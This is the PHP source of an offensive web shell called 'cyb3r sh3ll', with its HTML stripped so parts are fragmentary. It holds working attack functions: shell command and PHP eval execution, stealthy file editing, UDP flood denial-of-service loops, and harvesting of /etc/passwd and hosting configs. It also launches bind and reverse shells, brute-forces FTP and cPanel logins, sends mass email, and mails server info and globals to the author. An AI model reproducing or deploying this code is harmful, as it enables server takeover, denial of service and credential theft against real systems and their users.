echo "\r\n";
foreach($row as $v) {echo "".$v." \r\n";}
echo " \r\n";
}
echo "
";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo " ";
}
echo "With selected: ";
echo "Delete ";
echo "Change-mode ";
if ($usefsbuff)
{
echo "Cut ";
echo "Copy ";
echo "Unselect ";
}
echo "
";
echo " ";
}
?>
";}
}
if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
$act = "ls";
}
if ($act == "chmod")
{
$mode = fileperms($d.$f);
if (!$mode) {echo "Change file-mode with error: can't get current value.";}
else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
}
}
}
if ($act == "search")
{
echo "Search in file-system: ";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit))
{
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=>$search_name, "name_regexp"=>$search_name_regexp,
"text"=>$search_text, "text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {cyb3rfsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "No files found! ";}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "
Search for (file/folder name): - regexp
Search in (explode \";\"):
Text: ".htmlspecialchars($search_text)."
- regexp
- w hole words only
- case sensitive
- find files NOT containing the text
";
if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
}
if ($act == "fsbuff")
{
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "Buffer is empty! ";}
else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
}
if ($act == "d")
{
if (!is_dir($d)) {echo "Permision denied! ";}
else
{
echo "Directory information: ";
if (!$win)
{
echo "Owner/Group ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
}
}
if ($act == "chmod")
{
$mode = fileperms($d.$f);
if (!$mode) {echo "Change file-mode with error: can't get current value.";}
else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
}
}
}
if ($act == "f")
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
{
if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
}
else
{
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array(" ","info"),
array(" ","html"),
array(" ","txt"),
array("Code","code"),
array("Session","phpsess"),
array(" ","exe"),
array("SDB","sdb"),
array(" ","img"),
array(" ","ini"),
array(" ","download"),
array(" ","notepad"),
array(" ","edit")
);
echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
foreach($arr as $t)
{
if ($t[1] == $rft) {echo " ".$t[0]." ";}
elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
else {echo " ".$t[0]." ";}
echo " (+ ) |";
}
echo " ";
if ($ft == "info")
{
echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
if (!$win)
{
echo "Owner/Group ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
$fi = fopen($d.$f,"rb");
if ($fi)
{
if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000 ";
$a1 = "";
$a2 = "";
for ($i=0; $i";}
$a1 .= " ";
$a2 .= " ";
}
}
//if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
echo " ";
}
$encoded = "";
if ($base64 == 1)
{
echo "Base64 Encode ";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2)
{
echo "Base64 Encode + Chunk ";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3)
{
echo "Base64 Encode + Chunk + Quotes ";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
}
elseif($base64 == 4)
{
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo " ";
}
if (!empty($encoded))
{
echo "".htmlspecialchars($encoded)." ";
}
echo "HEXDUMP: [Full ] [Preview ]Base64:
[Encode ]
[+chunk ]
[+chunk+quotes ]
[Decode ]
";
}
elseif ($ft == "html")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {cyb3rexit();}
}
elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
elseif ($ft == "phpsess")
{
echo "";
$v = explode("|",$r);
echo $v[0]." ";
var_dump(unserialize($v[1]));
echo " ";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "Execute file: Display in text-area ";
}
elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("\n",$r);
if (count($arr == 18))
{
include($d.$f);
echo "phpBB configuration is detected in this file! ";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "Connect to DB ";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";}
echo "Parameters for manual connect: ";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
echo " ";
}
}
echo "";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {cyb3rexit();}
echo "
";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img")
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "Size: ";
$sizes = array("100","50","20");
foreach ($sizes as $v)
{
echo "";
if ($imgsize != $v ) {echo $v;}
else {echo "".$v." ";}
echo " ";
}
echo " ";
}
else
{
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit")
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "Can't write to file! ";}
else
{
echo "Saved! ";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("\r\n",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo " ".htmlspecialchars($r)." ";
}
elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
else {echo "Unknown extension (".$ext."), please, select type manually. ";}
}
}
if ($act == "about")
{
echo 'Script: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
Name: cyb3r sh3ll Version: '.$shver.' Author: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
Name: cyb3r 9l4d!470r (Cyber Gladiator) Country: India Website: ????... Email: cyb3r.gladiat0r@gmail.com
Greetings: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=- r45c4l bro you are my source of inspiration. r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking. Thanks all who report bugs and send to my email id.
';
}
if ($act == "dos")
{
?>
Server IP:
Your IP: (Don't DoS yourself nub)
IP:
Time:
Port:
After initiating the DoS attack, please wait while the browser loads. alert('Dos Completed!');";
print "Flooded: $ip on port $rand ";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
}
if ($act == "localdomain")
{
echo "Sites on this server. | List of Users. ";
}
if ($act == "local")
{
//radable public_html
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
function check()
{
(@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):"";
}
check();
echo "
[+] Here : [ ".count($domains)." ] Domain ...
List of Domains List of Users ";
foreach($domains as $domain)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "$domain ".$user['name']." ";
}
echo "
";
//radable public_html
}
if ($act == "readable")
{
//entries in passwd file
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on ');
set_time_limit(0);
###################
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd '); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
$str = fgets($passwd);
if ($i > 35)
{
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != ''))
{
if (is_readable($dirz))
{
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
###################
echo '';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
echo "[~] Searching for passwords in config files...\n\n";
foreach ($users as $user)
{
$path = "/home/$user/public_html/";
echo "$path \n";
}
echo "\n";
echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <- that's on the menu -> Explorer \n";
echo "[+] Done ...\n";
echo ' Coded by cyb3r 9l4d!470r Homepage ';
}
if ($act == "mailer")
{
?>
(: E-Mail Bomber :)
[: Mass Mailer :]
{: Anonymous Mailer :}
Some Error Occured!";
break;
}
}
if($error != 1)
{ echo "Mail(s) Sent! "; }
}
else
{
?>
">
Mail Sent!";
}
else
{
echo "Some Error Occured! ";
}
}
else
{
?>
">
Proxy | Whois ";
}
if ($act == "feedback")
{
$suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ==");
if (!empty($submit))
{
$ticket = substr(md5(microtime()+rand(1,1000)),0,6);
$body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
if (!empty($fdbk_ref))
{
$tmp = @ob_get_contents();
ob_clean();
phpinfo();
$phpinfo = base64_encode(ob_get_contents());
ob_clean();
echo $tmp;
$body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
}
mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
}
else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Hindi. ";}
}
if ($act == "systeminfo") {echo system('systeminfo');}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); }
if ($act == "upload")
{
echo "File upload:
Select file on your local computer: or
Save this file dir:
File-name (auto-fill):
";
$target = $_POST['path'];
$target = $target .'\\'. basename( $_FILES['uploaded']['name']) ;
$ok=1;
if (isset($_FILES['uploaded']['name'])) {
if (file_exists($target))
{
echo $_FILES["uploaded"]["name"] . " already exists. ";
}
else
{
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
{
echo "Upload: " . $_FILES["uploaded"]["name"] . " ";
echo "Type: " . $_FILES["uploaded"]["type"] . " ";
echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb ";
echo "Stored in: " . $target;
}
else
{
echo "Sorry, there was a problem uploading your file.";
}
}
}
}
if ($act == "whois")
{
global $t,$hcwd;
if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
$server =$_REQUEST['server'];
$domain=$_REQUEST['domain']."\r\n";
$ser=fsockopen($server,43,$en,$es,5);
fputs($ser,$domain);
echo "";
while(!feof($ser))echo fgets($ser);
echo " ";
fclose($ser);
}
else{
echo " ";
}
}
if ($act == "cracker")
{
echo "
Hash -|-
SMTP -|-
POP3 -|-
IMAP -|-
FTP -|-
SNMP -|-
MySQL -|-
HTTP Form -|-
HTTP Auth(basic) -|-
CPANEL -|-
Dictionary Maker
";
}
if ($act == "shells")
{ ?>
(: Bind/Reverse Shell :)
[: Web Shell :]
array("Using PERL","perl %path %port"),
"cyb3r_bindport.c"=>array("Using C","%path %port %pass")
);
$bcsrcs = array(
"cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"),
"cyb3r_backconn.c"=>array("Using C","%path %host %port")
);
$dpsrcs = array(
"cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
"cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
);
if (!is_array($bind)) {$bind = array();}
if (!is_array($bc)) {$bc = array();}
if (!is_array($datapipe)) {$datapipe = array();}
if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
if (!empty($bindsubmit))
{
echo "Result of binding port: ";
$v = $bndportsrcs[$bind["src"]];
if (empty($v)) {echo "Unknown file! ";}
elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
else
{
$w = explode(".",$bind["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%port",$bind["port"],$v[1]);
$v[1] = str_replace("%pass",$bind["pass"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
sleep(5);
$sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
}
echo " ";
}
}
if (!empty($bcsubmit))
{
echo "Result of back connection: ";
$v = $bcsrcs[$bc["src"]];
if (empty($v)) {echo "Unknown file! ";}
else
{
$w = explode(".",$bc["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%host",$bc["host"],$v[1]);
$v[1] = str_replace("%port",$bc["port"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
}
}
}
if (!empty($dpsubmit))
{
echo "Result of datapipe-running: ";
$v = $dpsrcs[$datapipe["src"]];
if (empty($v)) {echo "Unknown file! ";}
elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
else
{
$srcpath = $tmpdir.$datapipe["src"];
$w = explode(".",$datapipe["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
$v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
$v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
sleep(5);
$sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
}
echo " ";
}
}
?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
?>
Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
?>
Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
Datapipe:
HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
?> Note: sources will be downloaded from remote server.
[: Enter Command to Execute: :]
Useful Commands
Kernel version
Logged in users
Last to connect
Suid bins
USER WITHOUT PASSWORD!
Write in /etc/?
Downloaders?
CPUINFO
Open ports
gcc installed?
Format box (DANGEROUS)
WIPELOGS PT1 (If wget installed)
WIPELOGS PT2
WIPELOGS PT3
Kernel attack (Krad.c) PT1 (If wget installed)
Kernel attack (Krad.c) PT2 (L1)
Kernel attack (Krad.c) PT2 (L2)
Kernel attack (Krad.c) PT2 (L3)
Kernel attack (Krad.c) PT2 (L4)
Kernel attack (Krad.c) PT2 (L5)
Warning. Kernel may be alerted using higher levels
Result of execution this command: ";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "".htmlspecialchars($ret)." ";
}
else {echo $ret." ";}
@chdir($olddir);
}
else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "".htmlspecialchars($cmd)." Display in text-area ";
}
}
if ($act == "phpcode")
{
echo "
PHP Code Evaluate -|-
Mass Code Injector -|-
PHP Obfuscator -|-
Web Server Fuzzer
";
}
if ($act == "eval")
{
if (!empty($eval))
{
echo "Result of execution this PHP-code : ";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "".htmlspecialchars($ret)." ";
}
else {echo $ret." ";}
}
else
{
if ($eval_txt)
{
echo "";
eval($eval);
echo " ";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "".htmlspecialchars($eval)." Display in text-area ";
}
if ($act == "proxy")
{
global $errorbox,$et,$footer,$hcwd;
echo "";
if (!empty($_REQUEST['urL'])){
$dir="";
$u=parse_url($_REQUEST['urL']);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
$url=@fsockopen($host, 80, $errno, $errstr, 12);
if(!$url)die(" $errorbox Can not connect to host!$et$footer");
fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
while(!feof($url)){
$con = fgets($url);
$con = str_replace("href=mailto","HrEf=mailto",$con);
$con = str_replace("HREF=mailto","HrEf=mailto",$con);
$con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
$con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
echo $con;
}
fclose($url);
}
}
if ($act == "obfuscate")
{
if ( isset($_POST['code']) &&
$_POST['code'] != '')
{
$encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P
$encode = '
';
}
else
{
$encode = 'Please Enter your Code! and Click Submit! :)';
}?>
$data
";
print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message ";
for($i=0;$i<$times;$i++)
{
$socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data , $length );
fclose($socket);
}
}
echo "";
echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")." ";
echo "Total Number of Packets Sent : " . $times . " ";
echo "Total Data Sent = ". showsizE($times*$length) . " ";
echo "Data per packet = " . showsizE($length) . " ";
}
else
{
?>
";
cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
while (1) {
for ($i = 0; $i < ($max + 1); $i++) {
if ($A[$i] == -1) {
break;
}
}
$i--;
$incDone = 0;
while (!$incDone) {
for ($j = 0; $j < $numVals; $j++) {
if ($A[$i] == $vals[$j]) {
break;
}
}
if ($j == ($numVals - 1)) {
$A[$i] = $vals[0];
$i--;
if ($i < 0) {
for ($i = 0; $i < ($max + 1); $i++) {
if ($A[$i] == -1) {
break;
}
}
$A[$i] = $vals[0];
$A[$i + 1] = -1;
$incDone = 1;
print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
";
}
} else {
$A[$i] = $vals[$j + 1];
$incDone = 1;
}
}
$i = 0;
$currentVal = "";
while ($A[$i] != -1) {
$currentVal = $currentVal . $A[$i];
$i++;
}
cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
//echo $currentVal . "
";
if ($currentVal == $realMax) {
return 0;
}
}
}
function getmicrotimev() {
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
function ftp_check($host,$user,$pass,$timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "
Error : Connection Timeout
Please Check The Target Hostname . ";exit;
}
else if ( curl_errno($ch) == 0 )
{
print "
[~]
Cracking Success With Username " $user \"
and Password \" $pass \" ";
}
curl_close($ch);
}
function cpanel_check($host,$user,$pass,$timeout)
{
global $cpanel_port;
$ch = curl_init();
//echo "http://$host:".$cpanel_port." $user $pass ";
curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
